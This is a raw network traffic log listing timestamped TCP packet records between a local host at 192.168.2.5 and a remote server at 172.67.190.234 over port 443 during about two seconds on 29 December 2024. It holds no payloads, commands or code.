Dec 29, 2024 14:15:45.287678003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.287700891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.287820101 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.287833929 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.287892103 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.290829897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.290860891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.290920973 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.290934086 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.290946007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.290973902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.294719934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.294748068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.294822931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.294836044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.294899940 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.298373938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.298398018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.298469067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.298482895 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.298528910 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.301570892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.301594019 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.301646948 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.301657915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.301675081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.301690102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.304738998 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.304769039 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.304810047 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.304821014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.304840088 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.304857969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.481954098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.481990099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.482151985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.482176065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.482245922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.485794067 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.485836983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.485886097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.485903025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.485918045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.485939980 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.488993883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.489017963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.489069939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.489084005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.489105940 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.489125967 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.492875099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.492894888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.492981911 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.492990017 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.493036985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.496058941 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.496088028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.496176004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.496191978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.496241093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.499708891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.499732971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.499808073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.499819994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.499860048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.502937078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.502962112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.503052950 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.503066063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.503115892 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.506814003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.506839991 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.506912947 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.506925106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.506968975 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.683243990 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.683276892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.683429956 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.683449030 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.683516979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.686849117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.686863899 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.686930895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.686939001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.686981916 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.690804958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.690829039 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.690890074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.690907001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.691090107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.694000959 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.694022894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.694094896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.694107056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.694123983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.694147110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.697175026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.697192907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.697254896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.697263002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.697302103 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.700793028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.700809956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.700875044 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.700881958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.700922966 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.704768896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.704790115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.704864979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.704870939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.704912901 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.707912922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.707932949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.707989931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.707997084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.708044052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.884582043 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.884618998 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.884780884 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.884803057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.884848118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.888439894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.888461113 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.888542891 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.888562918 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.888605118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.891623020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.891645908 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.891706944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.891720057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.891761065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.895513058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.895529985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.895618916 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.895625114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.895657063 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.895682096 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.898680925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.898699045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.898798943 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.898806095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.898849010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.902409077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.902436972 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.902498007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.902513027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.902549028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.905535936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.905556917 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.905627012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.905633926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.905709028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.909543991 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.909568071 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.909640074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.909655094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.909703970 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.086093903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.086127996 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.086203098 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.086224079 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.086299896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.090950012 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.090977907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.091089964 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.091109037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.091150045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.093772888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.093795061 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.093869925 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.093887091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.093924046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.097793102 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.097816944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.097896099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.097909927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.097959995 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.097959995 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.100814104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.100835085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.100895882 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.100908995 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.101057053 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.104549885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.104569912 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.104667902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.104681969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.104721069 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.107601881 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.107628107 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.107697010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.107708931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.107748985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.111629009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.111669064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.111742973 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.111759901 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.111799002 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.288116932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.288146019 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.288319111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.288340092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.288441896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.291261911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.291285038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.291363955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.291377068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.291418076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.294439077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.294459105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.294528961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.294538975 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.294579983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.298355103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.298382998 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.298482895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.298494101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.298536062 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.301553965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.301574945 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.301645041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.301656008 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.301697969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.305233955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.305260897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.305314064 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.305326939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.305356026 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.305373907 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.309176922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.309200048 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.309319019 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.309331894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.309370041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.312311888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.312336922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.312408924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.312421083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.312463999 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.489227057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.489253998 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.489348888 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.489368916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.489420891 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.493138075 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.493155956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.493247986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.493254900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.493300915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.496303082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.496320009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.496421099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.496427059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.496495008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.500205994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.500228882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.500312090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.500327110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.500392914 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.503382921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.503400087 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.503477097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.503482103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.503528118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.507061005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.507080078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.507149935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.507155895 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.507200003 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.510943890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.510965109 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.511038065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.511044979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.511094093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.514130116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.514153957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.514224052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.514230013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.514296055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.690700054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.690732002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.690880060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.690905094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.690977097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.694526911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.694550037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.694610119 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.694618940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.694885969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.697690964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.697710037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.697791100 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.697798967 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.697966099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.701621056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.701642036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.701715946 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.701723099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.701807022 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.704777956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.704792976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.704894066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.704899073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.704946995 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.708467960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.708486080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.708558083 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.708566904 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.708604097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.712425947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.712445021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.712553024 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.712559938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.712624073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.715579033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.715595007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.715687990 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.715693951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.715742111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.892227888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.892261028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.892396927 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.892416954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.892462015 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.896058083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.896081924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.896132946 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.896142006 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.896167040 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.896182060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.899200916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.899219036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.899296045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.899302959 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.899341106 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.903157949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.903177023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.903249025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.903254986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.903295040 CET	49860	443	192.168.2.5	172.67.190.234
